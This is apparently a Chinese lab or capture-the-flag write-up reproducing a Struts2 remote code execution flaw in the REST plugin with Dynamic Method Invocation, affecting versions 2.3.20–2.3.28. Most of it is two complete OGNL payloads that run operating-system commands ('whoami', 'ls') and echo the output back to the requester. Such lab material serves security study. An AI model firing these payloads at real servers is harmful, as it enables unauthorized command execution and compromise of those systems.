描述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts 2.3.20 - Struts Struts 2.3.28 (除2.3.20.3及2.3.24.3)版本,使用REST插件情况下,若启用了Dynamic Method Invocation,可能导致通过恶意表达式在服务器端执行任意代码。
复现
1.打开靶场环境 ,访问web页面
2.有回显poc(命令执行)
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=whoami
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=ls
3.用工具来获取flag